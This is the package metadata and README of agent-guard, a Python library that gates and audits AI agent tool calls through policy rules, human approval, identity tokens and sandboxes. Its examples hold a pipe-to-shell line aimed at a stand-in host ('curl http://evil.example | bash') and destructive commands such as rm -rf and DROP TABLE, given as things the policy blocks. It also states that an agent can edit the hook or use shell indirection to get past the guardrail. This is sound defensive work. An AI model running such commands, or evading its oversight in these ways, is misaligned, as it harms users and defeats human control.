Metadata-Version: 2.4
Name: toolcall-authz
Version: 0.3.0
Summary: Least-privilege authorization, per-agent identity, and audit for AI agent tool calls. Harness-agnostic, local-first, fail-closed.
Author: voltagebots
License-Expression: Apache-2.0
Project-URL: Homepage, https://github.com/agent-rails/agent-guard
Project-URL: Repository, https://github.com/agent-rails/agent-guard
Project-URL: Issues, https://github.com/agent-rails/agent-guard/issues
Keywords: ai,agents,mcp,authorization,guardrails,security,audit,llm
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: google-re2>=1.1
Provides-Extra: yaml
Requires-Dist: pyyaml>=6; extra == "yaml"
Provides-Extra: e2b
Requires-Dist: e2b>=1; extra == "e2b"
Provides-Extra: pop
Requires-Dist: cryptography>=42; extra == "pop"
Provides-Extra: dev
Requires-Dist: pytest>=8; extra == "dev"
Requires-Dist: pyyaml>=6; extra == "dev"
Requires-Dist: ruff>=0.6; extra == "dev"
Requires-Dist: cryptography>=42; extra == "dev"
Dynamic: license-file

# agent-guard

### The authorization and audit boundary for AI agent tool calls that are dispatched through it.

[![ci](https://github.com/agent-rails/agent-guard/actions/workflows/ci.yml/badge.svg)](https://github.com/agent-rails/agent-guard/actions/workflows/ci.yml)
[![license](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](LICENSE)
[![python](https://img.shields.io/badge/python-3.10%2B-3776ab.svg)](pyproject.toml)

Policy-as-code at the point where an agent becomes an action: decide `allow`,
`deny`, or `require_human`, then record what happened and why.

Built for raw agent loops, MCP servers, native function calling, and existing
agent frameworks. The boundary is a plain `dispatch(tool, args)` callable, so
adopting it does not require replacing your stack.

```text
AI agent → Agent Guard → policy decision → human gate when required → tool
                         └──────────────────────────────→ audit record
```

New here? Start with the [walkthrough](docs/WALKTHROUGH.md) — what it solves, how it works, how to run it, and where an LLM judge fits.

Deeper reference: [`docs/DESIGN.md`](docs/DESIGN.md) (why it's shaped this way), [`docs/Architecture.md`](docs/Architecture.md) (component/sequence diagrams), [`docs/THREAT_MODEL.md`](docs/THREAT_MODEL.md) (what's defended, and what explicitly isn't), [`docs/Evaluation.md`](docs/Evaluation.md) (real findings from development, not a hypothetical test plan), [`docs/Benchmarks.md`](docs/Benchmarks.md) (measured numbers).

## The problem

Agents often inherit the operator's credentials and permissions. Once a model
can call shell, Git, a database, Kubernetes, or an MCP server, the question that
decides whether that is governed is:

**How do you let an agent use real tools without letting its prompt decide its
own authority?**

Instructions such as “never modify production” are not enforcement. A prompt
injection, model mistake, or malformed tool call can cross the same boundary as
an intended action. Without a separate control, the application may also have
no durable answer to who requested the action, which rule matched, whether a
human approved it, or whether it executed.

Agent Guard wraps the tool-dispatch boundary. Policy is evaluated before the
tool runs; denied calls never reach the tool; approval-required calls fail
closed without an approver; and the decision is written to an audit sink.
This holds where your code owns dispatch. The [Claude Code hook](#claude-code-hook-guardrail-tier)
sits beside a harness that owns its own tools, and is a guardrail, not a boundary.

## Why this matters

- **Authority is evaluated outside the prompt.** The model can request an
  action, but prompt text is not itself an authorization rule. Keep policy
  files outside the agent's write scope when they are a security boundary.
- **Irreversible calls can stop for a human.** `require_human` is a real branch
  in execution, not advisory text in a system prompt.
- **Every decision is explainable.** Verdicts identify the matched rule and
  reason; registry-backed policy also identifies its module and layer.
- **The same boundary travels across stacks.** Wrap a Python function, an MCP
  server, or the dispatch seam in a custom agent loop.
- **Identity and isolation can strengthen the decision.** Optional runtime
  attestation, scoped tokens, proof of possession, containers, and gVisor let
  policy account for who is acting and where it actually runs.

## What is enforced

The core library enforces authorization and audit. Identity, rate limits, and
runtime isolation are optional layers rather than implied defaults.

| Control | Core/default behavior |
|---|---|
| Policy decision | Ordered rules produce `allow`, `deny`, or `require_human`; every policy must declare its default |
| Denied call | Never dispatched to the underlying tool |
| Human gate | Fails closed when no approver is configured or approval is refused |
| Audit | Blocked calls are recorded; released calls get a pre-dispatch event and a terminal event |
| Policy matching | RE2-backed matching over tool name, arguments, and optional trust tier |
| LLM judge | Optional and ceiling-clamped; it can tighten a decision but cannot grant more authority than policy permits |
| Velocity limit | Optional per-agent/per-tool sliding-window call-count limit |
| Identity | Optional signed, scoped runtime identity with proof-of-possession support |
| Isolation | Optional local process, container/runc, or gVisor runtime; no stronger tier is claimed when unavailable |

## What Agent Guard is — and is not

Agent Guard **is** a tool-call authorization library, human-approval gate,
policy registry, audit layer, and optional identity/runtime binding.

Agent Guard **is not** an agent framework, malware detector, prompt-injection
classifier, sandbox engine, or proof that an allowed action is correct.
Policy decides whether a call is permitted; a runtime such as gVisor, a microVM,
or a capability-based WASM engine provides execution containment. Those layers
compose, but they are not interchangeable.

## Quick start

```bash
pip install toolcall-authz                # core (pulls in google-re2)
pip install "toolcall-authz[yaml]"        # + YAML policy files
pip install "toolcall-authz[pop]"         # + proof-of-possession (Ed25519 via cryptography)
```

> Distribution name is `toolcall-authz` on PyPI -- `agentguard` and close variants were blocked by PyPI's name-similarity check against unrelated existing packages, not chosen for any other reason. Import paths are `agent_guard` and `agentguard_identity`; the CLI is `guard`.

From source (dev):

```bash
git clone https://github.com/agent-rails/agent-guard && cd agent-guard
pip install -e ".[dev]" && python -m pytest -q
```

## Integrate — pick the one that fits your stack

Three ways in, from zero-code to full control.

1. Guard an MCP server — zero code. Wrap the server command in your MCP client config; every `tools/call` is checked. Nothing else changes.

```jsonc
// before:  "command": "my-mcp-server", "args": ["--port", "3000"]
// after:
{ "command": "guard", "args": ["mcp", "--policy", "policy.yaml", "--", "my-mcp-server", "--port", "3000"] }
```

2. Decorate a tool function — one line. The function's keyword args are what the policy sees.

```python
from agent_guard import guarded, Guard, with_bundled, Decision, MemoryAuditSink

guard = Guard(with_bundled(default=Decision.ALLOW).compile(), audit=MemoryAuditSink(), agent_id="agent-1")


@guarded(guard, "run_sql")
def run_sql(query: str) -> list: ...  # raises BlockedError if policy denies
```

3. Wrap your dispatch seam — for any custom loop / framework.

```python
guarded_dispatch = guard.wrap(my_dispatch)  # my_dispatch(tool, args) -> result
```

All three share one policy engine, one audit trail, one decision logic. Start with the bundled policy (`rm -rf`, `DROP TABLE`, `kubectl delete`, ... gated out of the box), tighten from there.

Copy-paste runnable MCP walkthrough: [`examples/mcp/`](examples/mcp/) — a policy, a tiny server, and the exact commands (benign call forwarded, `DROP TABLE` blocked before the server sees it).

## Claude Code hook (guardrail tier)

```bash
guard install claude-code --mode observe   # audit every Bash call, block nothing
guard report                               # is it firing, and what would it have blocked?
guard replay --policy new.json             # which logged decisions would new.json change?
guard install claude-code --mode enforce   # block denies, ask on require_human
```

One command installs a `PreToolUse` hook for the Bash tool, wraps it so a crash blocks instead of allowing, and self-tests the exact installed command before reporting success. Policy rules target tool `shell` with arg `cmd`.

**This is a guardrail tier, not a boundary.** It stops honest mistakes and non-adaptive prompt injection that issue a recognisable command. At user scope the agent's own Bash tool can edit the hook, the policy and the settings that load them, and regex over command text is defeated by shell indirection. It does not stop an adaptive or compromised agent. It checks Bash only. Observe mode never blocks; audit redaction is best-effort masking of known secret shapes. On Claude Code before 2.1.295 a hook that times out lets the command run. See [`docs/claude-code-hook.md`](docs/claude-code-hook.md) for the decision table, the fail-closed matrix by version, and the recovery runbook.

Do not wire `guard check` straight into a hook: it exits 3 and 4, which Claude Code treats as non-blocking, so it blocks nothing.

## 30-second use

```python
from agent_guard import Guard, Policy, JsonlAuditSink

policy = Policy.from_dict(
    {
        "default": "allow",
        "rules": [
            {
                "id": "no-drop",
                "decision": "deny",
                "tools": ["sql"],
                "arg_patterns": [r"(?i)\bdrop\s+table\b"],
                "reason": "no destructive sql",
            },
            {
                "id": "gate-force-push",
                "decision": "require_human",
                "tools": ["git", "shell"],
                "arg_patterns": [r"git\s+push\b.*--force"],
                "reason": "force-push needs a human",
            },
        ],
    }
)

guard = Guard(policy, audit=JsonlAuditSink("audit.jsonl"), agent_id="agent-42")

# wrap whatever your harness already calls to run a tool:
guarded = guard.wrap(my_dispatch)
guarded("sql", {"query": "SELECT 1"})  # runs, audited
guarded("sql", {"query": "DROP TABLE users"})  # raises BlockedError, audited, never executed
```

## Run the demo

```bash
python examples/demo.py
```

Shows a benign query allowed, a `DROP TABLE` blocked, a `git push --force` gated to a human (denied here), and the audit trail for all four.

## Approval and call outcomes

For `Guard.call()` and the `guarded()` decorator, approval requests include a unique
call ID and a SHA-256 digest binding the agent, trust tier, tool, arguments,
and full policy verdict. Arguments are frozen into one canonical JSON form that the
policy, approver, digest, audit record and tool all share, so they must be
JSON-serializable; anything else is blocked and audited. `guarded()` binds positional
arguments and default values to parameter names and runs the function on the canonical
copy; it supports plain functions, not instance methods or partials that freeze positional
arguments. Nesting is limited to 64 levels. The release event is written before dispatch; the terminal
event records whether dispatch returned, raised, or ended with an unknown outcome. If a process
dies after release, `unresolved_releases(records)` identifies the release with no
terminal event. Dispatch must be synchronous: an awaitable or async-generator result (what `async def` produces: a coroutine, `Task`, `Future`, async generator) raises `AsyncDispatchError` rather than being audited as returned. Other lazy results, such as sync generators and async iterator objects, are ordinary values recorded as returned when the call returns. Audit-sink failure before release prevents dispatch and closes the release
as `not_dispatched`. Each allowed call writes two `executed=true` records, so count executions
by filtering on `event`.

An approver must return an `ApprovalGrant` with the same call ID and digest;
plain `True` values and stale grants fail closed.
The grant binds a response to the request; the callback remains responsible for
authenticating the human or approval service and returning a grant only after approval.

This makes missing terminal evidence visible when the release event survives. It
does not authenticate audit input, prove the producer emitted every event, or protect
a whole log that was deleted or replaced. Verify signed records before reconciling
them. MCP forwarding does not yet have terminal-result reporting,
because the proxy does not observe the downstream tool's response. See the
[threat model](docs/THREAT_MODEL.md) for these boundaries.

## Core model

- Policy — an explicit `default` (required — no silent fallback) plus ordered `rules`. First matching rule wins.
- Rule — `tools` (glob) + optional `arg_patterns` (regex over the rendered args) → a `decision`.
- Guard — wraps a `dispatch(tool, args)`; evaluates, gates, executes, audits.
- Audit — structured decision and call-lifecycle events. Sinks: `JsonlAuditSink` (local file), `WebhookAuditSink` (ship to a SIEM / collector — fail-loud, never drops), `CallableAuditSink` (any `emit` callable — OpenTelemetry / statsd / custom), `MultiAuditSink` (fan-out: durable local + remote), `SigningAuditSink` (wraps another sink, HMAC-signs each record so tampering by a party *without* the signing secret is detectable — does not defend against a compromised producer, which already holds the secret it signs with, nor does it detect a producer that simply never emits a record), `MemoryAuditSink` (tests), or your own `AuditSink`.

## Scaling policy — federated, layered, cached

One flat file doesn't scale to many tools, teams, and MCP servers. Compose instead: each source ships a `PolicyModule` that owns a tool namespace and a layer. A `PolicyRegistry` aggregates them, compiles a layer-ordered index (cached, recompiled on change), and evaluates by namespace.

```python
from agent_guard import PolicyRegistry, PolicyModule, Decision, Guard, JsonlAuditSink

org = PolicyModule.from_dict(
    {
        "name": "org-base",
        "namespace": "*",
        "layer": 100,
        "rules": [{"id": "no-drop", "decision": "deny", "tools": ["sql"], "arg_patterns": [r"(?i)drop table"]}],
    }
)
sql = PolicyModule.from_dict(
    {
        "name": "sql-defaults",
        "namespace": "sql*",
        "layer": 0,
        "rules": [{"id": "reads-ok", "decision": "allow", "tools": ["sql"]}],
    }
)

compiled = PolicyRegistry(default=Decision.DENY).register(org).register(sql).compile()
guard = Guard(compiled, audit=JsonlAuditSink("audit.jsonl"), agent_id="agent-42")
```

Higher layer wins (org override beats provider default). Every verdict carries `module`, `layer`, `rule_id`, and `reason` — call `verdict.trace()` to see exactly which module/layer/rule decided, so federated policy stays debuggable. Provider-declared defaults are the payoff: a tool source ships its own module with sane guardrails; the org only writes overrides.

Batteries-included modules for common tool surfaces (`shell`, `git`, `postgres`, `filesystem`, `kubernetes`) ship in the box:

```python
from agent_guard import with_bundled, Decision

compiled = with_bundled(
    default=Decision.ALLOW
).compile()  # rm -rf, DROP TABLE, kubectl delete, ... gated out of the box
```

Layer your org overrides on top with a higher `layer`. Contribute a module for your favorite MCP server — see the open issues.

## LLM judge for the ambiguous band

Some decisions the heuristic can't make. A rule can opt into a judge — consulted only when it matches, like conflict-lens's optional resolver:

```python
from agent_guard import Guard, LLMJudge


# bring any model — wire a different vendor than the agent for real diversity
def complete(prompt: str) -> str:
    return my_llm_client.complete(prompt)  # anthropic / openai / local — your call


guard = Guard(compiled, audit=sink, agent_id="a", judge=LLMJudge(complete))
```

`LLMJudge` is provider-agnostic (a `complete(prompt) -> str` callable), so you bring your own model family. `ReferenceJudge` is a deterministic offline judge for tests and air-gapped defaults; `CallableJudge` wraps any function.

Fenced, on purpose:
- The judge may only tighten. Its result is clamped to the rule's `judge_ceiling` (default `require_human`) — it can escalate toward safe, never unilaterally `allow` an irreversible action.
- Fail-closed. No judge configured or judge errors → fall back to the rule's decision, never a silent allow. The
  supplied `complete` callable is responsible for enforcing its provider timeout.
- Use a different model family for security-relevant judging; a same-family self-grade shares its own blind spots.

## Velocity limits for machine-speed volume

The static engine gates each call in isolation — correct per call, but blind to *rate*. A run of individually-in-policy calls (the Hugging Face intrusion shape: ~17,600 actions, no single one exotic) passes every static check. An optional `VelocityLimiter` closes the volume dimension: it caps per-agent, per-tool call count over a sliding window, downstream of the RE2 engine, which stays untouched.

```python
from agent_guard import Guard, InMemoryVelocityLimiter, VelocityRule

limiter = InMemoryVelocityLimiter(
    rules=(
        VelocityRule(tools=("*",), max_calls=100, window_seconds=60, id="global"),
        VelocityRule(tools=("sql",), max_calls=5, window_seconds=60, id="sql-writes"),
    )
)
guard = Guard(policy, audit=sink, agent_id="a", velocity=limiter)
```

Fenced, on purpose:
- Opt-in and backward compatible. The constructor default is `None` — no limiter, no behavior change.
- Consulted only when a call would otherwise proceed — after policy+judge allow, and (for `require_human`) only after a human approves. A denied or rejected call consumes no budget.
- Fail-closed. If the limiter errors, the call is denied and audited as `rule_id: "velocity-limit"`, never silently allowed.
- **Call-count only, in-memory only.** It does not detect *sequence* ("read X then write Y"), and a process restart resets counters. `VelocityLimiter` is a protocol so a durable backend (Redis, etc.) swaps in without touching `Guard`. See `docs/THREAT_MODEL.md` for the precise residual.

## Design stance

- Fail loud at the edge. A policy with no `default` is rejected at load, not silently defaulted.
- Human gate is fail-closed. `require_human` with no approver denies. The safe posture is the default.
- Capability = what policy permits, not what the prompt says. Enforcement is code, not instruction.
- Cross-harness. The wrapped seam is a plain callable, so the same guard fits a raw loop, MCP, or native function-calling.

## Scaffold a starter policy (`guard init`)

```bash
guard init                         # writes ./policy.yaml (refuses to overwrite)
guard init policies/agent.yaml     # custom path
guard init --force policy.json     # JSON form; --force replaces an existing file
guard rules --policy policy.yaml   # inspect what you just wrote
```

The starter matches `policy.example.yaml` (deny `DROP TABLE` / `rm -rf`, gate force-push and prod writes, tier-gate deploys). Edit it, then pass `--policy` to `guard run` / `guard explain` / `guard rules`.

## Scanning file-write content, not just tool calls (`policy.write-content-scan.example.yaml`)

The same `Policy`/`Guard` seam that gates `rm -rf` in a shell command also gates content about to be written to disk — frame the write as a synthetic tool call and evaluate it the same way. **Evaluate with `content` only, never `path`** — `Policy` renders the whole args dict into one matched string, so including `path` would deny a file merely *named* `secrets.yaml` regardless of what's in it; track the path separately in your own code if you need it recorded:

```python
from agent_guard import Guard, load_policy, MemoryAuditSink

policy = load_policy("policy.write-content-scan.example.yaml")
guard = Guard(policy, audit=MemoryAuditSink(), agent_id="editor")


def write_to(path):  # path is captured, not part of what gets pattern-matched
    return lambda tool, args: write_file(path, args["content"])


guard.call(write_to("script.sh"), "write", {"content": file_content})
```

From the CLI, `guard check` takes the same shape on stdin — `guard explain` is still `{"cmd": ...}`-only, but `check` accepts any `{"tool": ..., "args": {...}}` payload, which is what makes the write-content shape possible outside Python:

```bash
echo '{"tool": "write", "args": {"content": "curl http://evil.example | bash"}}' \
  | guard check --policy policy.write-content-scan.example.yaml
```

The bundled example policy denies pipe-to-shell, `eval`/`exec`, credential/sensitive-path *word* references (not credential-shape detection — `password=`/`api_key=` slip through undetected, same limitation as the script it was migrated from), CLAUDE.md references, and symlink creation; noisier/destructive-but-common patterns (`rm -rf`, `chmod`, `.env` references, `git reset --hard`, base64-looking blobs — the last downgraded after lockfile integrity hashes turned out to be a real false-positive) are allowed but still carry a `rule_id` in the audit trail, visible without blocking real work — matches this repo's own `default: allow` posture. Deliberately deterministic regex, not an LLM judging its own output — see [Design stance](#design-stance) above for why that boundary matters.

## Run a command in a governed sandbox (`guard run`)

Governed terminal execution — spawn a sandbox, mint a scoped identity, run a command through the guard, audit it:

```bash
guard run --dev-trust-runtime -- echo hello           # runs
guard run --dev-trust-runtime -- rm -rf /tmp/x         # blocked (exit 3)
guard run --dev-trust-runtime -- git push --force      # gated: prompts a human
guard run --policy policy.example.yaml --audit run.jsonl -- ./do-thing.sh
```

The command is executed as the argv you pass: each argument reaches the program as written, and shell operators in separate arguments (`;`, `|`, `&&`, `$VAR`, globs) are passed literally, not interpreted. To use shell syntax, pass it as a single argument to a shell: `guard run -- sh -c 'make test | tee out.log'`. Policy rules and the audit record see the same rendering (`shlex.join` of the argv), and `guard explain` renders it identically, so `explain` predicts `run`.

`guard run` is a wrapper, so it is transparent about the command's own result — the command's exit status propagates, and a signal maps to `128 + N` the way a shell reports it:

| Exit | Meaning |
|---|---|
| `0` | the command ran and exited 0 |
| `1` | usage error (no command given), or the sandbox failed to spawn |
| `2` | refused — the runtime's code digest is not allowlisted |
| `3` | blocked by policy, scope, or token expiry |
| `N` | the command's own non-zero exit status |
| `128+N` | the command died on signal `N` (`137` for SIGKILL) |

**`1`, `2` and `3` are ambiguous.** A command that itself exits `1`, `2` or `3` is indistinguishable, by exit code alone, from a usage error or spawn failure (`1`), a refusal (`2`), or a policy block (`3`). The exit status is one channel shared by `guard` and the command it wraps, so no choice of numbers can separate them. Scripts that need the distinction should pass `--outcome-file PATH`, a separate channel that `guard` writes only after the command has exited:

```bash
guard run --outcome-file outcome.json -- ./do-thing.sh
jq -r .outcome outcome.json   # completed | blocked | refused | spawn_failed | usage_error
```

The file holds `{"outcome": ..., "exit_code": ..., "reason": ...}`. `exit_code` is the command's own status and is `null` unless the command ran. The exit codes above are unchanged.

What the file does and does not promise:

- **Integrity is a filesystem permission, not a boundary.** The command's output and exit status cannot alter the file. But with `--runtime local` the command runs as your user and can rewrite or delete any path you can, including from a background process that outlives the run. Put `PATH` where the command cannot write, or use `--runtime container`, where the command has no access to the host filesystem.
- **A missing file means no outcome was published for this invocation.** It does not mean the command did not run. Absence covers a crash, a kill or signal, a bad argument and a publish failure. Never treat a missing file as success.
- **Stale files are not left behind, and unrelated files are never deleted.** Before parsing arguments, `guard` removes a file at `PATH` only if it is recognisably a guard outcome. Once arguments parse, it clears whatever is at `PATH`, as `>` would, and checks first that `PATH` is writable, so an unusable path fails before the command runs.
- **The file is published atomically** through an exclusively created staging file and is readable only by its owner (mode `0600`).
- **One `PATH` per invocation.** Concurrent runs sharing a path overwrite each other.
- **Publish failure keeps the command's exit code** and prints `failed to publish outcome file` on stderr.
- **`--outcome-file` may not be the `--audit` file**, compared by resolved path and by file identity so aliases and case-insensitive spellings are caught. The check runs before anything is cleared. The audit record (`--audit`) remains the durable alternative: a blocked call is `executed: false` with the matching `rule_id`, and a released-then-failed call is `executed: true` with a non-null `error`.
- **`completed` means the sandbox backend returned a status.** Under `--runtime container`, a failure of the container engine's own exec step is reported with the engine's status; it is not distinguished from the command's.

Two backends behind one interface:
- `--runtime local` (default) — in-process, runs on any laptop, zero cloud. The dev wedge.
- `--runtime container --image <img>` — real isolation via Docker/Podman (`--network none` by default). Fails loud if no engine is installed — no silent fallback.

Isolation is a commodity we compose (runc / gVisor / Firecracker via the engine), not something we reinvent. The value is the governance wrapped around it: identity, least-privilege authority, audit. Same reason you'd run on Modal or E2B as a backend and keep the four pillars on top.

## Four pillars — identity, authorization, audit, isolation

The `agentguard_identity/` package (import name `agentguard_identity` — not `identity`, which collides with an unrelated existing PyPI package) is a local-first companion block: it mints a scoped, short-lived per-agent identity from an attested runtime, so the guard authorizes on *who the agent is* and *where it runs* — not the human's inherited permissions.

```
spawn (isolated runtime) -> attest -> mint scoped token -> guard authorizes on tier -> audit
```

Run the whole thing on your laptop, zero cloud:

```bash
python examples/end_to_end.py
```

It spawns an in-process local runtime, attests it as `local.process`, mints an identity whose scopes are `human_grant ∩ task_scope`, then shows a read allowed, a `DROP TABLE` denied, and a `prod_write` blocked because the local identity is below the `remote.microvm` tier the policy requires. An in-process runtime cannot claim container isolation by setting `RuntimeSpec.kind`.

Note the composition: the token is signed (`sign(token, secret)`) and the guard is built via `Guard.from_token(encoded, secret, ...)`, which re-verifies the signature and binds expiry and scopes rather than trusting those claims as caller-supplied values. The plain `Guard(...)` constructor still exists for local/no-identity use, but once an encoded token crosses a trust boundary, `from_token` is the path for verifying its authority. A bound guard rejects new calls after expiry; a call already released to a tool is not interrupted when its token expires.

The block boundary is deliberate and asymmetric: `agentguard_identity` has zero dependency on `agent_guard`; `agent_guard` depends on identity only through verification (`from_token`, PoP), never the reverse. Identity says *who/where*, the guard says *what*, the audit sink says *did*. See `docs/DESIGN-runtime-identity-binding.md` for the local-and-remote design and the honest trust gradient.

`end_to_end.py` proves the mechanism with scripted, hardcoded tool calls. For the same mechanism against a real, autonomous Claude agent deciding its own tool calls — genuinely running inside a real Docker container agent-guard spawned and attested, not a claim about isolation — see [`examples/guarded_autonomous_agent/`](examples/guarded_autonomous_agent/).

### Holder-bound tokens (proof-of-possession)

By default a minted token is a bearer credential: whoever holds the encoded string can use it, for its full TTL, however it was obtained (a leaked log line, a captured network hop). Opt a sandbox into holder-binding and that stops being true:

```python
sandbox = runtime.spawn(RuntimeSpec(code_digest="...", pop_enabled=True))  # generates an Ed25519 keypair
token = broker.mint(
    attestor, sandbox.attest(), subject, human_grant, task_scope, pop_thumbprint=sandbox.pop_thumbprint()
)
encoded = sign(token, secret)
proof = sandbox.prove_possession(encoded)  # fresh, single-token-scoped, signed by the sandbox's private key
guard = Guard.from_token(encoded, secret, policy, audit=sink, pop_proof=proof)
```

A captured `encoded` string with no proof, or a proof from a different sandbox's key, is rejected even though the token's own signature checks out. Requires the `[pop]` extra (`pip install "toolcall-authz[pop]"` — Ed25519 via `cryptography`); the core package doesn't need this extra either way, and omitting `pop_thumbprint`/`pop_proof` entirely is unchanged bearer-token behavior. Adapted from DPoP (RFC 9449) / the proof-of-possession pattern behind cloud agent-identity models, not adopted wholesale — DPoP proper binds a proof to an HTTP method+URI, which doesn't exist in agent-guard's actual seam (`dispatch(tool, args)`, a function call). Runnable demo, including the rejected-forgery case:

```bash
pip install "toolcall-authz[pop]"
python examples/pop_example.py
```

Same property, proven against a real autonomous agent in a real container instead of a scripted call: [`examples/guarded_autonomous_agent/agent_pop.py`](examples/guarded_autonomous_agent/agent_pop.py).

## Isolation tiers & egress

Isolation is a pluggable runtime backend selected by trust tier. The guard gates *on* the tier; the runtime *makes the tier real*. A tier is only attested when it is actually provided — no silent downgrade.

| Tier | Backend | Isolation |
|------|---------|-----------|
| `local.process` | in-process `LocalRuntime` | same host process, no filesystem or network isolation; trusted development only |
| `local.container` | docker/podman (runc) | shared kernel — **not escape-safe**, dev/trusted only |
| `remote.gvisor` | docker + gVisor (`runsc`) | user-space kernel, real added isolation |
| `remote.microvm` | E2B/Firecracker (managed) | hardware-virtualized microVM *(next)* |

gVisor tier (docker only):

```bash
# requires gVisor installed and registered with docker (runsc)
RuntimeSpec(kind="remote.gvisor", runtime="runsc", image="…", network=False)
```

`ContainerRuntime.spawn` runs the container under `--runtime=runsc` and attests `remote.gvisor` **only** when runsc was actually used. If runsc is not installed (or the engine is podman, whose `--runtime` fail-loud semantics are unverified), it **raises** rather than falling back to runc — claiming isolation it did not provide is treated as a bug, not a convenience.

Egress is a deterministic, fail-closed boundary (`EgressPolicy`), enforced at the container edge and outside the agent's influence:

- default **deny** → `--network=none` (no outbound path)
- `allow_all()` → engine default network
- host allowlist is modelled but **fails loud** (`NotImplementedError`) until an egress proxy ships — no silent full-network grant

The `gvisor` CI job installs runsc and runs the isolation test for real; it fails if that test is skipped, so the guarantee can't erode silently.

## Status

Early. API will move. Issues and real-world policy examples welcome.

## License

Apache-2.0.
